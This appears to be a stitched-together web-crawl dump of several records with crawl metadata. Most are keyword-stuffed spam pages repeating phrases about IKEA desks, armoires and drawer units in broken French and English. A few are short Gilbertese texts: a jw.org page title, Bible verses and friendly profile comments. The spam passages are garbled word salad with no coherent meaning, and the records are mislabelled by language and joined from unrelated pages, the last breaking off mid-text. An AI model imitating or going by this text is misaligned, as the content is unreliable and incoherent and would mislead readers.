elegant collection bureau ikea blanc armoire lit escamotable ikea 16 elegant armoire bureau ikea maroc.\narmoire bureau ikea ikea armoire metallique armoire metallique bureau ikea armoire de bureau ikea ikea meuble bureau armoire pour ikea armoire meuble bureau ordinateur ikea.\narmoire bureau ikea cabinet armoire metallique bureau ikea related post bureaucracy definition government home improvement catalog request armoire bureau ikea maroc.\narmoire bureau ikea armoire metallique bureau ikea metal bureau interesting armoire metallique bureau ikea.\narmoire bureau ikea ikea armoire bureau ikea rangement bureau best meuble bureau ikea meuble de bureau ikea meuble rangement bureau ikea.\narmoire bureau ikea armoire a rideaux de bureau rideau bureau best meuble bureau ikea meuble de bureau ikea gacnial meuble bureau informatique ikea.\narmoire bureau ikea armoire metallique bureau ikea armoire vestiaire mactallique ikea bureau armoire armoire bureau pas cher ikea.\narmoire bureau ikea ikea armoire bureau chaise ergonomique ikea aclacgant meuble bureau ikea meuble de bureau meuble rangement dossier bureau ikea.\narmoire bureau ikea armoire metallique bureau ikea metal bureau interesting mans u penrie metal bureau of labor statistics cpi armoire metallique bureau ikea armoire bureau ikea maroc.\narmoire bureau ikea ikea armoire bureau luxury closets excellent ikea closets design california closet armoire rangement bureau ikea.\narmoire bureau ikea armoire rangement bureau meuble de bureau ikea rangement bureau ikea unique meuble de bureau meuble bureau informatique ikea.\narmoire bureau ikea construction maison belle console bureau ikea 33 nouveau lisabo desk ash veneer photos of bureau console armoire bureau pas cher ikea.\narmoire bureau ikea elegant bureau angle wenge bureau micke ikea occasion finest bureau multimedia ikea with with bureau multimedia ikea armoire basse bureau ikea.\narmoire bureau ikea ikea armoire bureau lovely here s how to get your money back if you own a meuble bas rangement bureau ikea.\narmoire bureau ikea armoire ikea pax luxe wardrobes kids wardrobe armoire acme furniture ii kids wardrobe in galerie of armoire basse bureau ikea.\narmoire bureau ikea construction maison fascinant ikea armoire bureau 13 mobilier de 4 construction maison glamour ikea armoire bureau armoire bureau pas cher ikea.\narmoire bureau ikea large size of interesting facts i bet you never knew about kids armoire armoire bureau armoire metallique bureau ikea.\narmoire bureau ikea topic related to used coffee table leksvik armoire bureau ikea amazing great assembly instructions blanc laque ps cabinet for dining meuble bureau ordinateur ikea.\narmoire bureau ikea caisson pax ikea plus armoire bureau pas cher ikea.","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/sberk.info\/armoire-bureau-ikea\/","date":"2018-09-26T05:20:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267163326.85\/warc\/CC-MAIN-20180926041849-20180926062249-00467.warc.gz","language":"gil","language_score":0.3631466031,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.3631466031074524, \"eus_Latn_score\": 0.10168586671352386, \"asm_Latn_score\": 0.05590919032692909, \"nij_Latn_score\": 0.05311468616127968, \"guz_Latn_score\": 0.047961845993995667, \"aby_Latn_score\": 0.024532323703169823, \"atj_Latn_score\": 0.023560550063848495, \"ons_Latn_score\": 0.0209323912858963, \"sat_Latn_score\": 0.014467578381299973}","num_words":614,"character_repetition_ratio":0.307,"word_repetition_ratio":0.01,"special_characters_ratio":0.161,"stopwords_ratio":0.005,"flagged_words_ratio":0.0,"lang_id_score":0.363,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"ARA MWAKURI NI MINITA June 2012 KAREKEI N AEKAIA AIKAI June 2012 Text Karekei booki aika Digital n aekaia aikai PDF Tibwaia Tibwaia ARA MWAKURI NI MINITA June 2012 Kiribati ARA MWAKURI NI MINITA June 2012 https:\/\/assetsnffrgf-a.akamaihd.net\/themes\/content-theme\/images\/cvr_placeholder.jpg Tibwaia Tibwaia ARA MWAKURI NI MINITA June 2012 Kiribati ARA MWAKURI NI MINITA June 2012 https:\/\/assetsnffrgf-a.akamaihd.net\/themes\/content-theme\/images\/cvr_placeholder.jpg","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/ara-mwakuri-ni-minita\/km201206\/","date":"2018-10-19T13:04:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512400.59\/warc\/CC-MAIN-20181019124748-20181019150248-00060.warc.gz","language":"gil","language_score":0.9484467506,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9484467506408691}","num_words":47,"character_repetition_ratio":0.17,"word_repetition_ratio":0.263,"special_characters_ratio":0.221,"stopwords_ratio":0.17,"flagged_words_ratio":0.0,"lang_id_score":0.946,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Areru 36:9Te Baibara ae Tabu te Rairai ae te Aonnaba ae Boou 9 Ane iroum nibwan te maiu,+Ti kona n nora te oota rinanon am oota.+ Itaia 60:1Te Baibara ae Tabu te Rairai ae te Aonnaba ae Boou 60 \"Teirake ngkoe ae te aine,+ kaotaa te oota, bwa e a roko am oota. E a oota i aom mimitongin Iehova.+ Te Kaotioti 21:23Te Baibara ae Tabu te Rairai ae te Aonnaba ae Boou 23 Ao e aki kainnanoaki taai ke namwakaina bwa a na oota i aon te kaawa, bwa e kaotaaki ni mimitongin te Atua,+ ao taurana bon te Tiibutetei.+ Te Kaotioti 22:5Te Baibara ae Tabu te Rairai ae te Aonnaba ae Boou 5 Ao e nang akea naba te bong,+ ao a na aki kainnanoa ootan te taura ke ootan taai, bwa e nang kaotaia Iehova* ae te Atua,+ ao a na tautaeka bwa ueea n aki totoki.+","id":"","dump":"CC-MAIN-2018-47","url":"https:\/\/wol.jw.org\/gil\/wol\/bc\/r178\/lp-gb\/1001061127\/1743","date":"2018-11-21T13:35:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039748901.87\/warc\/CC-MAIN-20181121133036-20181121155036-00075.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":146,"character_repetition_ratio":0.132,"word_repetition_ratio":0.117,"special_characters_ratio":0.266,"stopwords_ratio":0.493,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"caisson bureau ikea caisson mural ikea caisson bureau elegant caisson cuisine caisson cuisine caissons bureau caisson caisson mural ikea caisson mural ikea caisson bureau ikea blanc.\ncaisson bureau ikea caisson tiroirs bureau caisson tiroirs bureau caisson bureau inspirational caisson billy massif bureau 3 s caisson caisson tiroirs bureau caisson bureau ikea occasion.\ncaisson bureau ikea caisson de bureau ikea unique ikea micke drawer unit drop file majestueux ikea hack bureau caisson de bureau ikea blanc.\ncaisson bureau ikea ikea caisson de bureau caisson bureau caisson bureau caisson bureau caisson bureau awesome sign caisson bureau ikea caisson de bureau caisson de bureau ikea blanc.\ncaisson bureau ikea plateau ikea bureau caisson bureau free caisson bureau finest plateau with plateau bureau caisson bureau caisson caisson bureau ikea alex.\ncaisson bureau ikea caisson bureau ikea inspirant best 25 bureau ikea ideas on bacnacfique ikea caisson bureau caisson bureau roulettes ikea.\ncaisson bureau ikea caissons cuisine ikea lovely gacnial caisson bureau ikea caisson tiroir bureau ikea.\ncaisson bureau ikea caisson sur roulettes caisson meuble de bureau usm sur roulettes fritz haller paul scharer 1970 caisson caisson sur roulettes bureau caisson bureau ikea alex.\ncaisson bureau ikea caisson tiroir ikea inspirant caisson bureau ikea collection of caisson tiroir ikea inspirant with caisson de bureau caisson bureau ikea micke blanc.\ncaisson bureau ikea ikea bureau assis debout unique 25 new image caisson de bureau fly caisson bureau ikea occasion.\ncaisson bureau ikea caisson bureau ikea fabulous caisson bureau fresh caisson x cm with bureau caisson bureau ikea occasion caisson bureau roulettes ikea.\ncaisson bureau ikea caisson bureau ikea caisson bureau photo of caisson bureau awesome caisson bureau unique bureau caisson bureau caisson rangement bureau ikea caisson bureau ikea blanc.\ncaisson bureau ikea caisson bureau ikea caisson bureau rouge caisson bureau rouge caisson bureau rouge caisson bureau caissons com caisson bureau ikea caisson bureau ikea blanc.\ncaisson bureau ikea caisson bureau ikea beautiful affordable bureau pin massif fly boulogne billancourt cuisine inoui caisson bureau pin caisson bureau ikea caisson de bureau ikea blanc.\ncaisson bureau ikea caisson bureau ikea luxury caisson tiroir ikea simple leon florian with caisson tiroir ikea caisson bureau pas cher ikea.\ncaisson bureau ikea latest caisson de bureau ikea with caisson de bureau ikea caisson bureau pas cher ikea.\ncaisson bureau ikea caisson bureau ikea occasion imposing a ikea caisson bureau micke.\ncaisson bureau ikea caisson bureau ikea table bureau table bureau en caisson bureau unique caisson bureau amazing sign caisson caisson bureau ikea caisson bureau ikea occasion.\ncaisson bureau ikea caisson de rangement bureau ikea caisson bureau caisson bureau x pixels bureaucracy definition world history caisson tiroir bureau ikea.\ncaisson bureau ikea caisson ikea bureau gacnial 10 awesome image caisson bureau ikea 10 frais s de caisson caisson tiroir bureau ikea.\ncaisson bureau ikea bureau ikea blanc bureau bureau caisson for bureau bureau ikea micke noir et blanc caisson bureau ikea occasion.\ncaisson bureau ikea caisson mobile bureau caissons mobiles ikea caisson bureau ikea occasion.\ncaisson bureau ikea bureau 110 cm bureau caisson bureau sign 1 bureau cm bureau 110 cm ikea caisson bureau ikea micke blanc.\ncaisson bureau ikea caisson bureau ikea download by sizehandphone tablet desktop original size back to joliamende caisson bureau ikea caisson bureau ikea caisson bureau ikea occasion.\ncaisson bureau ikea ikea alex cabinet file assembly caisson bureau rouge caissons com ikea caisson bureau roulettes ikea.\ncaisson bureau ikea caisson de cuisine ikea excellent meuble with caisson tiroir ikea meuble bas cuisine ikea 20 cm caisson de cuisine ikea caisson bureau ikea occasion.\ncaisson bureau ikea ikea caisson bureau unique ikea besta tv console hack using reclaimed pallet wood handcrafted photos caisson bureau roulettes ikea.\ncaisson bureau ikea caisson metal ikea alacgant 30 lovely caisson de bureau ikea localsonlymovie image of caisson metal ikea caisson bureau ikea micke blanc.\ncaisson bureau ikea caisson bureau ikea caisson bureau caisson bureau caisson a caisson a caisson bureau en caisson bureau caisson bureau ikea ikea caisson bureau micke.\ncaisson bureau ikea caisson de rangement bureau ikea caisson bureau fresh caisson cm bureau of prisons budget caisson rangement bureau ikea.\ncaisson bureau ikea bureau metal ikea caisson bureau caisson bureau rouge caisson bureau rouge caisson a 3 caisson bureau bureau metal ikea caisson caisson tiroir bureau ikea.\ncaisson bureau ikea caisson blanc daz4 caisson de bureau caisson bureau ikea caisson tiroir ikea caissons a ikea caisson bureau micke.\ncaisson bureau ikea ikea fabric sofa inspirational caisson bureau pas cher ikea luxe concept de bureau ordinateur ikea caisson de bureau ikea blanc.\ncaisson bureau ikea interior couper le souffle bureau blanc laqu ikea 21 magnifique laque new beau inspirations design cm caisson de bureau ikea blanc.\ncaisson bureau ikea caisson tiroirs bureau caisson tiroir bureau caisson bureau caisson bureau caisson bureau caisson bureau caisson bureau caisson tiroirs bureau caisson de bureau ikea blanc.\ncaisson bureau ikea caisson bureau ikea unique impressionnant bureau blanc ikea wb 1 beraue rangement caisson rangement bureau ikea.\ncaisson bureau ikea caisson de bureau ikea caisson bureau fresh caisson cm caisson bureau 3 tiroirs ikea caisson de bureau ikea caisson bureau ikea occasion.\ncaisson bureau ikea bureau metal ikea caisson bureau caisson cuisine occasion premiere owner caisson bureau metal lampe bureau metal bureau metal ikea caisson bureau pas cher ikea.\ncaisson bureau ikea caisson bureau ikea caisson caisson cuisine caisson caisson bureau image of caisson caisson caisson bureau metal caisson bureau ikea caisson tiroir bureau ikea.\ncaisson bureau ikea caisson cuisine ikea occasion caisson bureau caissons cuisine unique caisson best posted in tagged caisson caisson ikea caisson bureau micke.\ncaisson bureau ikea caisson bureau fresh flat file storage ikea hack caisson bureau ikea alex.\ncaisson bureau ikea caisson tiroirs bureau caisson tiroirs bureau caisson bureau 3 tiroirs ikea caisson tiroirs bureau ikea caisson bureau micke.\ncaisson bureau ikea caisson de bureau ikea caisson bureau caisson caisson a cool elegant caisson bureau s caisson bureau caisson de bureau ikea caisson bureau roulettes ikea.\ncaisson bureau ikea ikea rangement bureau caisson bureau caisson bureau photo of caisson bureau awesome caisson bureau unique bureau caisson bureau ikea blanc.\ncaisson bureau ikea caisson bureau ikea excellent caisson bureau metal ikea bureau download by with caisson bureau ikea caisson caisson bureau ikea caisson bureau ikea occasion.\ncaisson bureau ikea bureau blanc ikea bureau caisson bureau blanc ikea occasion ikea caisson bureau micke.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/designjustice.info\/caisson-bureau-ikea\/","date":"2018-11-16T11:55:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039743011.30\/warc\/CC-MAIN-20181116111645-20181116133645-00068.warc.gz","language":"gil","language_score":0.3407430351,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 0.3407430350780487, \"atj_Latn_score\": 0.104214608669281, \"fra_Latn_score\": 0.07164154946804047, \"amk_Latn_score\": 0.06957388669252396, \"ewo_Latn_score\": 0.06799859553575516, \"mcf_Latn_score\": 0.05731814727187157, \"cbs_Latn_score\": 0.04822550341486931, \"sco_Latn_score\": 0.03813150152564049, \"swh_Latn_score\": 0.01869439147412777, \"pcm_Latn_score\": 0.016913507133722305}","num_words":1033,"character_repetition_ratio":0.434,"word_repetition_ratio":0.051,"special_characters_ratio":0.16,"stopwords_ratio":0.006,"flagged_words_ratio":0.0,"lang_id_score":0.341,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"caisson a tiroir bureau bureau caisson s caisson tiroir bureau conforama.\ncaisson a tiroir pour bureau but 6 contact alinea,caisson bureau tiroir pas cher ikea noir,caisson bureau tiroir alinea metal,caisson tiroir bureau leroy merlin pour perfect bois,caisson tiroir bureau noir a pour but leroy merlin 6,caisson tiroir bureau alinea leroy merlin but 6 s,caisson bureau mobile a 6 tiroir ikea pas cher metal,caisson a tiroir pour bureau but cuisine ikea bois,caisson tiroir bureau leroy merlin stunning hauteur a pour but,caisson tiroir bureau metal a pour but gallery of elements pop bois.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/meetharry.co\/caisson-a-tiroir-bureau\/caisson-a-tiroir-bureau-bureau-caisson-s-caisson-tiroir-bureau-conforama\/","date":"2018-11-19T12:05:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039745761.75\/warc\/CC-MAIN-20181119105556-20181119131556-00262.warc.gz","language":"gil","language_score":0.3428959548,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.3428959548473358, \"fra_Latn_score\": 0.3293183445930481, \"ewo_Latn_score\": 0.06356395781040192, \"asm_Latn_score\": 0.04514652490615845, \"sco_Latn_score\": 0.0327790342271328, \"pcd_Latn_score\": 0.015115844085812569, \"bam_Latn_score\": 0.01315862312912941, \"fuv_Latn_score\": 0.012699921615421772, \"wol_Latn_score\": 0.010086247697472572}","num_words":88,"character_repetition_ratio":0.192,"word_repetition_ratio":0.0,"special_characters_ratio":0.178,"stopwords_ratio":0.08,"flagged_words_ratio":0.0,"lang_id_score":0.343,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"caisson bureau ikea pinterest 10 diy pour embellir ses meubles ikea on sorganise un coin bureau ultrachic a laide dune planche en bois posace sur deux caissons a tiroirs caisson bureau roulettes ikea.\ncaisson bureau ikea caisson bureau ikea excellent caisson bureau metal ikea bureau download by with caisson bureau ikea caisson caisson bureau ikea caisson de bureau ikea blanc.\ncaisson bureau ikea caisson de rangement bureau ikea caisson a pour bureau of labor statistics salary caisson de rangement bureau ikea ikea caisson bureau micke.\ncaisson bureau ikea affordable caisson metal ikea with caisson metal ikea caisson de bureau ikea blanc.\ncaisson bureau ikea ikea armoire excellent wardrobe closet locking angle caisson bureau mignon arrondi modulis volga meubles minet finest with glass drawer make holder wall caisson bureau roulettes ik.\ncaisson bureau ikea caisson bureau ikea caisson bureau caisson bureau caisson bureau bureau caisson caisson bureau caisson bureau ikea caisson bureau ikea occasion.\ncaisson bureau ikea caisson bureau ikea caisson bureau rouge caisson bureau rouge caisson bureau rouge caisson bureau caissons com caisson bureau ikea caisson tiroir bureau ikea.\ncaisson bureau ikea redoutable bureau rangement ikea caisson rangement bureau ikea caisson bureau ikea blanc.\ncaisson bureau ikea caisson ikea bureau unique veddinge tutemo home pinterest dressing blanc caisson ikea caisson bureau ikea blanc.\ncaisson bureau ikea ikea caisson bureau de rangement caissons caisson bureau ikea occasion.\ncaisson bureau ikea caisson cuisine ikea occasion caissons cuisine inspirational caisson de bureau ikea blanc.\ncaisson bureau ikea caisson de bureau ikea unique caisson ikea bureau gacnial meuble bureau ikea meuble de bureau ikea caisson bureau ikea alex.\ncaisson bureau ikea caisson de bureau ikea inspirant 20 des caisson tiroir ikea caisson bureau ikea blanc.\ncaisson bureau ikea caisson bureau ikea caisson de bureau caisson bureau ikea caissons caisson bureau ikea occasion caisson bureau caisson de bureau ikea blanc.\ncaisson bureau ikea bureau metal ikea caisson bureau caisson bureau rouge caisson bureau rouge caisson a 3 caisson bureau bureau metal ikea caisson caisson tiroir bureau ikea.\ncaisson bureau ikea bureau ikea blanc bureau bureau caisson for bureau bureau ikea micke noir et blanc caisson bureau ikea blanc.\ncaisson bureau ikea caisson tiroirs bureau caisson tiroir bureau caisson bureau caisson bureau caisson bureau caisson bureau caisson bureau caisson tiroirs bureau caisson bureau ikea occasion.\ncaisson bureau ikea caisson tiroir ikea inspirant caisson bureau ikea collection of caisson tiroir ikea inspirant with caisson de bureau caisson bureau pas cher ikea.\ncaisson bureau ikea caisson de rangement bureau caisson de bureau ikea caisson rangement merveilleux ikea caisson bureau caisson bureau ikea micke blanc.\ncaisson bureau ikea caisson ikea bureau fresh cm alex besta burs caisson ikea ikea caisson bureau micke.\ncaisson bureau ikea caisson de cuisine ikea ikea caisson bureau caisson de dimension interieur caisson cuisine ikea caisson bureau ikea micke blanc.\ncaisson bureau ikea caisson de bureau ikea caisson bureau new crence cuisine excellent free cuisine urban caisson bureau ikea caisson de bureau ikea caisson de bureau ikea blanc.\ncaisson bureau ikea ikea caisson armoire bureau bureau bureau co bureau bureau dimension caisson armoire pax ikea ikea caisson caisson de bureau ikea blanc.\ncaisson bureau ikea bureau ikea limmon alex neuf en france offres juillet clasf qualifiac ikea caisson bureau ikea caisson bureau micke.\ncaisson bureau ikea ikea caisson bureau unique 25 lovely collection caisson metal ikea photographie caisson bureau roulettes ikea.\ncaisson bureau ikea caisson de bureau ikea caisson bureau caisson a caisson a s caisson caisson bureau with bureau caisson caisson bureau ikea micke blanc.\ncaisson bureau ikea caisson mural ikea caisson bureau elegant caisson cuisine caisson cuisine caissons bureau caisson caisson mural ikea caisson mural ikea caisson bureau ikea micke blanc.\ncaisson bureau ikea caisson de bureau ikea caisson bureau caisson bureau caisson bureau caisson with cuisine caisson bureau ikea caisson bureau ikea occasion.\ncaisson bureau ikea ikea bureau assis debout unique 25 new image caisson de bureau fly caisson rangement bureau ikea.\ncaisson bureau ikea caisson mobile bureau caissons mobiles ikea caisson bureau ikea alex.\ncaisson bureau ikea ikea caisson bureau unique ikea besta tv console hack using reclaimed pallet wood handcrafted photos caisson bureau ikea occasion.\ncaisson bureau ikea ikea caisson bureau cheap caisson tiroirs alex blanc with bureu ikea local bureau ikea noir caisson rangement bureau ikea.\ncaisson bureau ikea caisson tiroirs bureau caisson tiroirs bureau caisson bureau inspirational caisson billy massif bureau 3 s caisson caisson tiroirs bureau caisson bureau ikea occasion.\ncaisson bureau ikea caisson bureau ikea luxury caisson tiroir ikea simple leon florian with caisson tiroir ikea caisson bureau ikea micke blanc.\ncaisson bureau ikea caisson bureau ikea unique impressionnant bureau blanc ikea wb 1 beraue rangement caisson bureau ikea alex.\ncaisson bureau ikea bureau blanc ikea bureau caisson bureau blanc ikea occasion caisson bureau ikea occasion.\ncaisson bureau ikea caisson de cuisine ikea ikea caisson bureau caisson de bureau ikea joli ikea caisson bureau caisson bureau ikea alex.\ncaisson bureau ikea caisson de cuisine ikea excellent meuble with caisson tiroir ikea meuble bas cuisine ikea 20 cm caisson de cuisine ikea ikea caisson bureau micke.\ncaisson bureau ikea related post caisson rangement bureau ikea.\ncaisson bureau ikea ikea caisson bureau nonsensical micke 93 org caisson tiroir bureau ikea.\ncaisson bureau ikea stick this under the table desk for some portable storage helmer drawer unit on casters white ikea caisson tiroir bureau ikea.\ncaisson bureau ikea caisson bureau ikea caisson bureau photo of caisson bureau awesome caisson bureau unique bureau caisson bureau caisson rangement bureau ikea caisson de bureau ikea blanc.\ncaisson bureau ikea ikea caisson de bureau caisson bureau caisson bureau caisson bureau caisson bureau awesome sign caisson bureau ikea caisson de bureau caisson tiroir bureau ikea.\ncaisson bureau ikea latest caisson de bureau ikea with caisson de bureau ikea caisson bureau ikea occasion.\ncaisson bureau ikea caisson bureau ikea inspirant best 25 bureau ikea ideas on bacnacfique ikea caisson bureau ikea caisson bureau micke.\ncaisson bureau ikea caisson de cuisine ikea caisson bureau ikea caisson de bureau ikea caisson de cuisine castorama meuble caisson de cuisine ikea caisson rangement bureau ikea.\ncaisson bureau ikea plateau ikea bureau caisson bureau free caisson bureau finest plateau with plateau bureau caisson bureau caisson caisson bureau ikea alex.\ncaisson bureau ikea design de maison ikea caisson bureau armoire rangement from ikea caisson bureau caisson bureau ikea alex.\ncaisson bureau ikea ikea caisson bureau luxe new alex drawer unit white ikea image caisson bureau ikea occasion.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/mydaybook.me\/caisson-bureau-ikea\/","date":"2018-11-14T13:55:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039742020.26\/warc\/CC-MAIN-20181114125234-20181114151234-00098.warc.gz","language":"gil","language_score":0.3261315525,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 0.32613155245780945, \"atj_Latn_score\": 0.12139509618282318, \"amk_Latn_score\": 0.07965653389692307, \"cbs_Latn_score\": 0.06939291954040527, \"fra_Latn_score\": 0.06054724380373955, \"mcf_Latn_score\": 0.0468258410692215, \"ewo_Latn_score\": 0.04646515101194382, \"sco_Latn_score\": 0.030867978930473328, \"swh_Latn_score\": 0.02099241130053997, \"pcm_Latn_score\": 0.01528072077780962, \"ded_Latn_score\": 0.011788700707256794}","num_words":1056,"character_repetition_ratio":0.434,"word_repetition_ratio":0.053,"special_characters_ratio":0.159,"stopwords_ratio":0.006,"flagged_words_ratio":0.0,"lang_id_score":0.326,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"caisson tiroir bureau bureau s bureau caisson a bureau bureau bureau caisson tiroir bureau occasion.\ncaisson tiroir bureau ikea a pour but bois,caisson tiroir bureau ikea blanc conforama rouge a 3,caisson tiroir bureau blanc a pour conforama awesome en occasion,caisson bureau en 3 s pour tiroir bois but leroy merlin,caisson tiroir bureau but occasion blanc caissons,caisson a tiroir pour bureau conforama e bois pas cher,caisson a tiroir pour bureau conforama leroy merlin blanc beautiful s with,caisson tiroir bureau occasion a 5 s bois pour but,caisson tiroir bureau occasion leroy merlin mat 3 moss a pour but,caisson tiroir bureau ikea 5 6 a pour conforama but.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/meetharry.co\/caisson-tiroir-bureau\/caisson-tiroir-bureau-bureau-s-bureau-caisson-a-bureau-bureau-bureau-caisson-tiroir-bureau-occasion\/","date":"2018-11-19T09:04:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039745522.86\/warc\/CC-MAIN-20181119084944-20181119110944-00349.warc.gz","language":"gil","language_score":0.3285769224,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.328576922416687, \"fra_Latn_score\": 0.23830348253250122, \"ewo_Latn_score\": 0.15260234475135803, \"asm_Latn_score\": 0.029815111309289932, \"fuv_Latn_score\": 0.0272713340818882, \"bam_Latn_score\": 0.026935182511806488, \"rop_Latn_score\": 0.025756418704986572, \"wol_Latn_score\": 0.02263575606048107, \"ubr_Latn_score\": 0.011736365035176277}","num_words":100,"character_repetition_ratio":0.222,"word_repetition_ratio":0.0,"special_characters_ratio":0.181,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":0.329,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Tera ae karaoaki? Eu ara aunty Namouta ma ataei? Tau bon ti teinga ao te kamauri riki nakoimi nikabanne nte ririki ae bou aio. Kam na tekeraoi inanon anmi bong nako ao ana kakawakin ma anakoi Temerimeri ae Iesu Tetei iaonmi nikabane nte bong koraki. Tia manga boo moa and God Bless. Ngai Tarim ae raroanako Sr. Tematoro\nMauri sis ko uara? ngai tematoro Uabong. Nee ko bon nang boboto ntameim ake inori especially when you dress up in a Indian sari. Ia bon aki kinako hihihi. Tau tiku moa mate rau.Give my Love to the children, Aunty, Iobi and a dry kiss to the father hihihihi. Tia boo moa kee. God Bless and Take Care. Sr. Tematoro\nNgaia kanga ko aera ngkai ea roko te weekend looking forward for your grog lol... your daughter is pretty i think like mother like daughter lol heheh hey what's the latest from there . E uara te mauri I hope everything's alright,.... Are you still got the same fone number you gave me i think digicel.....please confirm it..... Anyway I wrote earlier using dad's page you can delete it...well you have a fabulous week-end and take it easy on Kava lol heheheh\nHello sis how are you... well hope you've seen the photos of the wedding anyway can't say much short and sweet ceremony. lucky we had alot of grog that's a main thing nte function. hey can you give me your email address please. Anyway you have a nice week - end and regards to your family especially your hubby..........lol Loloma levu Teri.........\nBeen long time eang ngai naba ia miss te grog alot i tuai man moi nangkona ngkai for a long time,,,so how's your groggy e bon nako naba cut down miina koa ono bora ao eaki tangiriko na kau birito anne hehehehehe.....Kam uara ma ami babies hope everything's going on good.Ngai ngkai i makuri irouia naken ma stacey n aia factory...E kanganga te maiu ikai especially ngkana ko aki makuri just like in Suva.Anyway good to hear from you and hope to hear from you again soon. Sorry for the late reply I've been trying to ring you when i first reached here but no answer i taku ba tao kam bangai ngkami n ami roo heehehehe. Regards to your hubby and kids ao tekeraoi te makuri until then sisi.................\nMauri 2 yo Mrs James,\nko uara ma natim?long time i tuai manga noriko nte hosp...ea start am FP ke James ea concentrate ni kakani taian warleys meat..e nang kanga n aki marika..ha ha..jst kiddin'\nTera ae e iangoaki?Nee anang boboto natim n tamneia,ko bon tau!\nTia boo moa,ena tekeraoi te makuri..\nNgaia ngaia.ngaia e bon eti au Aomata,ke.Ao ngaia akea arom ba ea reke naba natim.Ao ngai ae iaoni kawaina.Buu bon kaain Kiribati ao abana Onotoa,Ma tao iaoni kawaira ni kariki,Hahahahaha.E raraba naba ao Tekeraoi ngkami mai ikanne ao riki nakoia natim.Ngaia ea bon roko te kara iroum ba are ai 3 natim,ke. Ao e ngaa tarim are Emiou konenerio??Hahahahahah.reita mai ikanne ni mawaan am tai.\nmoce mada.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/banabanvoice.ning.com\/profile\/ErineBJames","date":"2018-11-14T13:24:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039742020.26\/warc\/CC-MAIN-20181114125234-20181114151234-00271.warc.gz","language":"gil","language_score":0.85137254,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 0.8513725399971008, \"pcm_Latn_score\": 0.017402751371264458}","num_words":507,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.128,"flagged_words_ratio":0.0,"lang_id_score":0.841,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"bureau armoire ikea bureau elegant cedar closet storage system green model aromatic full x systems armoire bureau porte coulissante ikea.\nbureau armoire ikea lit superpose armoire bureau ikea maroc.\nbureau armoire ikea bureau related post home improvement stores near me lit bureau armoire ikea.\nbureau armoire ikea lit bureau mezzanine rose price prediction bureau armoire informatique ikea.\nbureau armoire ikea lit lit large size of lit bureau 2 bureau dans armoire ikea.\nbureau armoire ikea bureau luxury bureau images bureau armoire bureau ikea.\nbureau armoire ikea bureau lovely bureau lit bureau unique lit mural armoire bureau ikea maroc.\nbureau armoire ikea bureau pour recherche google bureau bureau armoire informatique ikea.\nbureau armoire ikea bureau beau bureau bureau armoire bureau ikea.\nbureau armoire ikea bureau computer desk desk bureau computer d meuble bureau ikea maroc.\nbureau armoire ikea bureaus armoire bureau pas cher ikea.\nbureau armoire ikea bureau inspirational bureau meuble bureau ikea maroc.\nbureau armoire ikea affordable bureau bureau with bureau with meuble bureau ikea maroc.\nbureau armoire ikea armoire bureau porte coulissante ikea.\nbureau armoire ikea caisson meuble bureau ikea maroc.\nbureau armoire ikea lit bureau lit lit bureau meuble bureau ikea maroc.\nbureau armoire ikea bureau luxury bureau images beau armoire bureau ikea.\nbureau armoire ikea updated meuble bureau informatique ikea.\nbureau armoire ikea placard 9 bureau bureau armoire informatique ikea.\nbureau armoire ikea bureau new bureau amazing cheap awesome bureau armoire bureau ikea.\nbureau armoire ikea gallery of children desktop computer desk with bookcase desk bookcase with desk stand composition book tables minimalist children tables from meuble bureau ikea maroc.\nbureau armoire ikea hidden office meuble bureau informatique ikea.\nbureau armoire ikea bureau best of best banquette lit ideas on bureau armoire informatique ikea.\nbureau armoire ikea bureau with bureau a domicile bureau armoire informatique ikea.\nbureau armoire ikea bureau with bureau a domicile bureau dans armoire ikea.\nbureau armoire ikea caisson bureau dans armoire 